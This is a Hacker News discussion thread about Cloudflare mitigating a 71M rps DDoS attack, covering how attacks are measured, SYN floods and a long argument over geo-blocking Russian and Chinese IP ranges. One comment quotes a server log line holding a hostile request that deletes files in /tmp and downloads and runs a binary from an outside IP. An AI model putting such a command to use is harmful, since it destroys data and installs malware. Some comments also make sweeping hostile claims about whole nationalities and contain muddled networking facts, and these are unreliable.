Cloudflare mitigates record-breaking 71M request-per-second DDoS attack
blog.cloudflare.com
blog.cloudflare.com
I tried to move one of my personal services off of cloudflare and it got DDoSed a few weeks later, mind you it's not even a popular services, just for internal use of mine and a few friends.
I worked in this space, and constantly read articles of different providers claiming to have blocked the biggest attack ever.
Some go by total bandwidth, some by pps, some by number of actors, and apparently some by rps.
Not that it isn't impressive, still, but hardly seems newsworthy.
I suspect a single machine could put out 71M HTTP requests/second without too much difficulty
(but cloudflare never misses an opportunity for a blog post)
But I'm sure most providers or ISPs would block such output - thus, why it's a DDOS.
Edit: I misunderstood the comment and thought about "ingestion" and not "generation"
That is 35 10G nics at wire rate.
For comparison: HAProxy was able to deal with 2M requests per second on a single machine in 2021: https://www.haproxy.com/de/blog/haproxy-forwards-over-2-mill... (Disclosure: I'm a HAProxy community contributor).
fortunately it's no longer 2000 and I have more than one core, and my NIC has more than one queue
generating requests is a lot less CPU intensive than parsing requests
how much CPU do I have to spend to get a pre-formed 100 byte request into the NICs queue? not much at all
(the TCP negotiation will likely be the bottleneck)
It's a lot, but at cloudflare's scale you either have the budget for a crapton of machines per point of presence (hope I'm using the term correctly) or custom hardware that can deal with this sort of thing. It's kind of their core business.
PacketsPerSecond=TransferRate(bytes/second)/PacketSize(bytes/packet)
https://community.arubanetworks.com/community-home/digestvie...
A single 24port switch with 1Gbps ports would see 48Gbps so with 64byte packets would see 71M packets, 1518byte packets would drop to 3.9M packets.
If you are in the business of being the main auditor of your activities, water companies here in the UK being an example, news organisations as another, then does one ever find a problem with one's work?
I've had DDOS on my systems before, and how it took my firewall out was simply increasing the number of requests the firewall had to handle using a SYN flood. https://en.wikipedia.org/wiki/SYN_flood
Most firewalls are fixed and not adaptive, so a bit of low hanging fruit could be had by firewall systems that can adapt to SYN floods, like shortening the time the handshake process stays in memory, choosing to dump all that dont complete within a short period of time, choosing to dump those from ip address blocks linked to country's or regions your dont normally trade with. There are so many ways to handle these situations, but not all firewalls and switches provide the facilities that are needed.
Hackers will exploit default configurations and industry standard best practices, including RFC's.
During one of my lets see what happens if I push this metaphoric button exercises, I was tracing those random packets that appear at firewalls and I happened to have picked one which tracerouted back to a French IP.
What was interesting and consistent with behaviour I've seen in the 90's with dead submarine internet connections at the New York exchange, was the trace route delivered its hop data until I crossed the English channel at which point a packet killed the machine, forcing the mains to be pulled as the machine went totally unresponsive.
It makes me think the UK internet is like some giant virtual dome like the one seen in the film The Truman Show.
This is not correct. An interface doesn't handle more packets per second with smaller packet sizes it handles less, much less. Getting the full 48 Gbps of 24 ports at line rate would only be possible if the packets were full size packets(1500 bytes). The PPS bottleneck with small packets(64 bytes) would mean you would never see line rate on those 24 interfaces as your throughput would fall off a cliff. Network hardware vendors quote PPS using the lower bound of packet size and line rate at full packet size. The PPS bottleneck on a network device is incurred long before the line rate limit is ever reached.
The data is streamed within time slots, which is why cable lengths of Cat<=5 cable can not be longer than 100 metres @ 100Hz. Cat 6 is 55metres at 250Hz.
I dont know what their switch internal workings are, you'll have to ask them why they have quoted that speed, but I know some switches also have built in fibre network connections, as invariably with a network switch with many ports, you could get a queue of packets for one port so there must be some sort of buffering inside a switch to handle and minimise these situations.
It is only "clockwork" electrical pulses at the end of the day.
I would also want to know if Akamai sees similar attacks.
"The character used as the thousands separator In the United States, this character is a comma (,). In Germany, it is a period (.). Thus one thousand and twenty-five is displayed as 1,025 in the United States and 1.025 in Germany. In Sweden, the thousands separator is a space.
The character used as the decimal separator In the United States, this character is a period (.). In Germany, it is a comma (,). Thus one thousand twenty-five and seven tenths is displayed as 1,025.7 in the United States and 1.025,7 in Germany."
The absolutely first thing I do at every company and on every project is ask if I can block russia, china and belarussian IP space, and add all of their ASNs to the bogon list if we run our own bgp.
They are never customers to the businesses of the companies I work for, but they sure manage to harm our businesses.
Russisns mostly try to disrupt and steal because thats their foreign policy.
Chinese just try to destroy and censor. Worked at a company which hosted presentations, one of their 5 million presentations was critical of China. We received over 10,000 phone calls and close to a million emails in two days, and a sustained 10gbps ddos attack for a week.
Letting russia and china on the internet was a massive security mistake we should rectify. The world spends literally BILLIONS because chinarussia are frankly assholes online.
Edit: corrected $500k per month to $50kb per month.
So much garbage connections originate from the mentioned countries. Worst yet, these countries have poor connections in some cases and generate so many retires that also waste resources.
But we can't block the IP space of the US for obvious reasons
Yup.
The block $insert_country IP range "solution" is an outdated mentality that should have died off in the 90's.
These days most attacks originate from US/Western cloud and other rent-a-box providers.
They are a gift to attackers because they can hop around at the click of the button and they know the victims can't block the IP ranges because they're managed by US/Western organisations.
DDOS attacks tend to happen on a Command and Control basis, and again, good luck blocking US/Western ISP IP ranges because their customers won't be able to visit your website.
I have long given up on reporting to Google, AWS and others because nothing gets done, most of the time you get an automated message saying they just forward your Abuse report to the customer ... gee, thanks guys.
I can't imagine many people sufficiently motivated to launch a DDoS attack against you, yet not sufficiently motivated to switch to an attack method that will actually work.
Maybe so. But it works really well. After blocking certain countries IP ranges / ASes, >70% of abuse we had to deal with just vanished.
Also there are other reasons to block: since the russians attacked Ukraine, business I work with no longer does business with russia, belarusia and few other countries as a matter of principle (and because of sanctions).
Alright, can we just put this one to bed ?
When RIPE/APNIC/ARIN allocate a range of IPs, there is NOTHING in the terms and conditions that says "you can only use this in this geography". The legal range holder must be in the geography, but where they announce it is nobody's business.
The range is held by a range holder who are listed on the relevant database. But there is nothing stopping them using it outside their geography and there is nothing stopping them allocating it to a customer outside of their geography.
So when people talk about "blocking a country's IP ranges" they are talking about "blocking a random range of IP addresses that may or may not be used at all in a given country".
There is also no real control on the databases. Yes you are supposed to keep them truthful and up to date, but we've all been there looking for abuse contacts and, well ....
So if a Russian range-holder decides to "allocate" a sub-range to a "French" customer and records it as such on the RIPE database what are you going to do ? And if you're buying your "security" data from a third-party, what's your third-party database telling you ? is that sub-range French or Russian ?
Not forgetting of course that IP range != provider. I could foreseeably get an IP range from $bad_country X but announce it over BGP over $isp_from_friendly_country Y, maybe even using their ASN. So that would easily defeat your ASN blocking.
That is not true, at least not any more. RIPE and ARIN specifically will cancel a companies account and remove their ASN if they announce the allocated CIDR blocks in the wrong region. We can very close to it at a former company. It was an honest mistake that someone was unaware of and it was reverted quickly. I can't speak for APNIC. There are probably people that have done this and not been caught for a while but they are much more vigilant now. I assumed because of a shortage of ipv4 blocks but there are probably other reasons.
Of course anyone can announce any networks but that is a good way to get blocked by peers. It has happened. I remember the PSINet debacle and a handful of others.
From your incorrect spelling of the country's name (btw, your use of lowercase to demonstrate your contempt looks pathetic) I infer that you know close to nothing of Belarus and their relations with Russia and other countries.
I think I am beginning to understand what people in many Arab countries have been feeling for the past couple of decades. Your words about rule of law and human rights are cheap and, when it comes to the boogeyman of the day, mean nothing in practice. Have fun driving more people towards Putin and further balkanizing the internet. I know I lost a lot of respect for the West since the beginning of 2022.
In the context of email I heavily recommend requiring SPF (just to exist even!) on things originating from China, Russia and VPS providers.
The post doesn't even mention any of the countries you whine about.
Harm vs good assessment, anyone?
I suppose that would put cloudflare and anyone else doing ddos mitigation out of business.
When I worked at a small ISP and we would get complaints, we would block the user until we could reach them. Then let them online long enough to update their antivirus. I can't imagine Comcast committing to that, but it would be nice.
I expect locked down devices like cell phones and tablets to be less problematic in that regard (but maybe that's not true at all), so maybe the home-botnet-issue will resolve itself as more and more people stop using personal computers?
I have no way to tell how the big Cloudproviders actually handle it. I've occasionally reported persistent phishing campaigns to SES & similar providers and never really got a reply. I've reported a DDOS to Azure and it took them 18 days or so to say "thanks, we'll forward it". If Microsoft and Amazon don't respond appropriately, how can we expect smaller ISPs to handle that?
Or maybe that's the best thing you can do for them, perhaps preventing them from revealing even more passwords etc to the attacker.
Maybe – if there wasn't IoT/smart home devices...
Jesus, this reads like a prequel to Black Mirror episode.
Is port scanning abuse? I don't think so but some babies on mailing lists love to spend all of their time writing handwritten abuse letters about it.
1) block 2 Tbps of attack traffic
2) save $500k per month in bandwidth charges since blocking at the border means you have to pay for the incoming bandwidth
You cannot control who your prefix is announced to, unless you control all the paths on the Internet.
2. I meant $50k per month, edited. This does not count loss of productivity.
> absolutely first thing I do at every company and on every project is ask if I can [block various countries]
For side projects?! Blows my mind. This feels like the 2020s version of what used to be in chain emails "don't pick up this phone number or they'll eat your dog". People believe it because it works. They don't pick up the number and their dog wasn't eaten. Doesn't harm them, only the person who owns the number. Better be safe. Use ddos protection (it's free!) and centralize the world's traffic for your hobby website, don't trust your ISP that has a known profit model but rather pay for an additional VPN that promises not to work with law enforcement because that's obviously not shady, similar for using DoH from cloudflare (thanks mozilla for making that the default), etc. The Internet is becoming such a weird place.
I get annoyed when people block Tor, but at least that's somewhat understandable as there is no concept of abuse email addresses to reach out to. Blocking not just ISPs that don't play nice, but an entire country? Multiple? As the first thing you do, before a problem exists? In-sane.
If you wrote your website in some shitty language and you need lots of server power just to serve the home page you will end up saving a lot of money from blocking those countries.
At that point, might as well rethink the engineering happening at your company well before considering blocking countries' IP spaces, no?
edit: i'll say it again too, test me.
As a cold business decision, just as it makes sense to fire customers who are more hassle than they are worth, it's also makes sense to block prospective customers who are more hassle than they are worth.
Of course, if you engineering is better, you can pick a different false-positive vs false negative trade-off.
As a customer, I try to avoid any company that considers "blocking the bad countries" a reasonable security posture. If nothing else, it's usually indicative of other irrational and frustrating decisions that might hurt me later.
Well, not directly,but this is the first time I was morally willing to work in parallel to the defense industry.
My previous startups were fintech. The customer I had who was attacked by China was Slideshare. Ultimately they bent over for China, and blocked them for a year.
Setup an IPS on a server exposed to the net. Record all attacks for a month, then look up the IP addresses, then you will understand.
I worked in network security at banks for a decade, really Russia and China are responsible for millions of attacks against westerm infrastrucuture in this century causing $10s of billions of damage. It is war.
I’ve been in the industry for over 30 years and I’ve seem some shit. Russia once took Estonia offlone for over a month.
Cloudflare and every other CDN understand that China and Russia is a liability, thats wht they make it easy to null route them.
Then maybe you should reevaluate your cold war attitude on network security.
I hope your sites/companies/projects never get attacked by a hacker from an "evil" country that goes through the absolute minimum effort of tunneling through a VPN or botnet in the US...
These "attacks" are automated scanners trying a bunch of SSH/Telnet credentials and five year old Netgear CVEs. Why are you worried about these? If you are vulnerable to them you have a serious problem because someone will try them from a BuyVM or Ecatel machine that is Western but more lenient towards scanning and then you will be compromised.
Moreover, DDoS attacks orginating from the US are sometimes greater than Chinese originated attacks -- as recently as a year ago [1]
Also don't forget that some of the sketchiest providers on the internet are American, who routinely ignore abuse reports. NameCheap's abuse reports are almost never actioned, happily taking cash from scammers and spammers.
[1] https://blog.cloudflare.com/ddos-attack-trends-for-2022-q1/
No mention of Russia, and the original poster probably has nothing to do with the US.
Here's the thing, China and Russia are the wild west of the internet. Someone starts to DDoS a UK IP from the US, and it gets shut down hard and fast.
Someone starts to DDoS from Russia or China, and reports are dropped on the floor. Same for hacking attempts.
And yes, if someone from Russia or China reports to me, errant acitivty, they are listened to.
There is absolutely no comparison. These zones are useless for most companies. No one in China or Russia is buying anything from much of the rest of the world. Russia spews more spam that the rest of the planet combined.
Dropping their IP space on the floor, is the smartest thing a startup can do.
And the manufactured outrage is hilarious. These two countries block everything they can already, meaning legit traffic is rare. The great firewall of China means few will visit your site anyhow.
Drop Russia, China, and even Brazil (whos network ops never ever ever respond to spam reports).
Your admin life will be immensely better, and it will cost you nothing, nada, zilch. All upside, zero downside.
I don't mean to be presumptuous but what is the benefit of this. Do you spend all day stressing when you see
112.250.109.154 - - [14/Feb/2023:00:00:18 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws HTTP/1.1" 404 153 "-" "Hello, world"
Completely untrue.
So getting hacked never happens from Russia? Russian IPs only scan, but never crack in, takeover, deface, or work their way deep?
And spam has 0 cost, right?
Read the equation again.. 0 downside, endless upside.
If you're referring to banking fraud I'm pretty sure the answer is mostly yes. Maybe sometimes fraudsters are lazy.
> So getting hacked never happens from Russia? Russian IPs only scan, but never crack in, takeover, deface, or work their way deep?
It does, I'm just saying it's almost entirely automated scans and bruteforce using default password combinations and several year old CVEs. If you are vulnerable to those you have bigger problems.
> And spam has 0 cost, right?
Unless you are running some ancient configuration the cost is lower than the amount of engineering work and mental capacity you appear to devoting to stopping it.
I'm not saying you shouldn't make the tradeoff or that it's wrong to do it, just that the amount of security you think you are gaining from it is not as high as you think.
Which ignores that even 0.001% of traffic is a load of more skilled bad actors, this IP space is rotten to the core.
Throughout, I have stated 0 downside, all upside. Even one dedicated hacker gone, is a plus in this scenario. Even showing yourself to be actively, aggressively defending is a plus, if comparables are less guarded.
And you're bracketing the use case, others and I have been speaking of the generic. Many run MTAs, so cutting down on inbound spam and malware, pre-filtering is a plus.
Canning all this address space is a never lose, always win, plus plus plus.
Save yourself the grief. Hot potato it.
This sounds more like stopping people who want to extort or even just mess with American companies or individuals. It doesn't really logic to me that US citizens are attempting to ransom Chinese businesses at a higher rate than the inverse.
How much is this in terabytes?
Internet is decentralized in nature. Even if you tried to undo that, what's stopping anyone from bridging a non-CN/RU Intranet to CN/RU-Intranet.
More importantly: who is to decide that? Should now a US-based organization dictate who EU/JP/Africa can communicate with? Applying such decisions at such a low level will only result in the balkanization of the Internet.
And I totally agree with your approach, cost-reward of CN/RU links don't make sense for 99% of people. But blocking should *still* be optional (opt-in vs opt-out is another debate), becase for some (e.g. hardware, financial firms), the benefits of being able to communicate with China and Russia might outweigh the constant spam/attacks.
On a general note, why do people constantly try to impose their perspective on others? "This is bad for me/most, therefore should be banned for all."
If someone were considering this, here's a means to do it with 402s: https://github.com/lightninglabs/aperture
Are we not already there with states being able to dictate what is and isn't allowed?
Technical measures such as "not letting CN/RU on the Internet", involve at least blocking their IP space at BGP level (null routing as in China's Great Firewall), or even reallocating their IP space.
The Internet might be more or less fragmented at a high-level due to bureaucracy (see GDPR and HTTP Error 451 Unavailable for legal reasons or DNS blacklists), but at least everyone can pretty much agree where a public IP address points to.
Breaking up the very foundation of the Internet... that could get really messy and complicated.
Sorry for the language, but fuck that attitude. I don't live in any of these countries, but I used to live in a large European one that still regularly gets blocked by US sites for no fathomable reason.
Maybe you should try using the internet from a VPN location outside the US to see how fun that is as a paying customer of the sites that are blocking you for your crime by association (if temporary physical presence can even be called that).
One time I couldn't even unsubscribe from a VOD streaming service that I had been subscribed to while on an assignment in the US once I was back in Europe because their entire website was just a big geoblocked mess, including account/subscription management. Of course they were still happy to take my money! Less egregious but still infuriating: OMNY, New York's open-loop transit payment system, just outright blocks me when trying to access my account from Europe. Have the people ever considered the scenario that a visitor might use their service and later need the receipts for e.g. an expense report? Sure enough, London's TfL does the same thing for the US.
I can't wait for the day that the decision makers responsible for this insanity get stuck on a business or holiday trip like that and realize how annoying this is – or even better, realize that things like VPNs and botnets exist and can obscure the source of any Internet traffic...
>"Letting russia and china on the internet was a massive security mistake we should rectify. The world spends literally BILLIONS because chinarussia are frankly assholes online."
chinarussia are not run by best people for sure. Cutting them or any other country for that matter off the Internet I think is really stupid decision. As for the costs - I think the West in general and the US in particular were able for many decades reap an enormous rewards by having China people do the work for peanuts.
As a Russian,comments like this make me feel less and less interested in being friendly with the (generalized) West. If I'll always be seen as "one of the bad guys" for the crime of being born in a country and not wanting to shit on everything about it, then why even bother acting any other way?
I'm amazed that most of the comments are around the technical possibility/validity of the suggestion and not around this ridiculous bit of bigotry and isolationism.
The internet is successful because it is apolitical and universal. It is amazing it has stayed as unaffected by politics as it has - if it had been "invite only" for the US and maybe Europe it would not have taken off to the degree that it has and our industry would be orders of magnitude smaller.
Should I not be able to have a video call with a manufacturing partner in China? Should someone on a trip to see their family in Russia not be able to send email? Even Russia, which is behaving almost as badly as a country can, should be kept on the internet. That's how their citizens can know what's actually going on and keep the pressure on the government to stop.
It probably shows who the majority of posters are.
Do you have any proof it had to do with the presentation? You're treating "China" as if it was one person.
> Letting russia and china on the internet was a massive security mistake we should rectify. The world spends literally BILLIONS because chinarussia are frankly assholes online.
China Unicom IPs trying to guess your root password over SSH is not a cyberwarfare campaign. China regularly takes down botnets (read https://blog.netlab.360.com/). It is a result of a bunch of cheap IoT devices with default passwords.
> Russisns mostly try to disrupt and steal because thats their foreign policy.
Great! Now Russians go straight to using a US residential proxy when they commit fraud because they see they are being blocked instead of silently raising their internal risk score or any of the 50 smarter things you could have done.
Letting people like you manage servers was a massive mistake we should rectify.
As an innocent Russian, my hate for this shit burns like a thousand suns. Sometimes I'd follow some link, and I'd be greeted with a 403 for no good reason. For a get request. I'd have to turn my VPN on just to look at the damn thing.
At this point, I kinda wish it was technically impossible to deduce the country from an IP address.
> The world spends literally BILLIONS because chinarussia are frankly assholes online.
And? This is just money. Nothing irreplaceable.
Just seems like a Cloudflare puff piece otherwise.
I would be more interested in a critical article about where they failed to block a DDoS attack, and why. Plus what could be done in the future to mitigate.
The latest Chromium 110 for Android supports 7.0+.
Any device sold with the Android branding running 7.0+ will even have the latest Google/Chrome WebView updated out of band via Play. 5/6 will be stuck on version 105(?).
You should consider switching from IceCat to Fennec F-Droid, see my comparison table here: https://divestos.org/pages/browsers
I don’t think that’s true, would you care to share more about that experience?
> This throttle should not have happened. In addition, there is and was no need for the customer to upgrade to some other plan level.
https://blog.cloudflare.com/how-cloudflare-erroneously-throt...
This came about from this HN thread https://news.ycombinator.com/item?id=34639212